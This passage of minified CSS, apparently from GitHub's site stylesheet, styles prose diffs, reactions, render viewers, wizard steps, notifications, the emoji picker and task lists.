.markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled 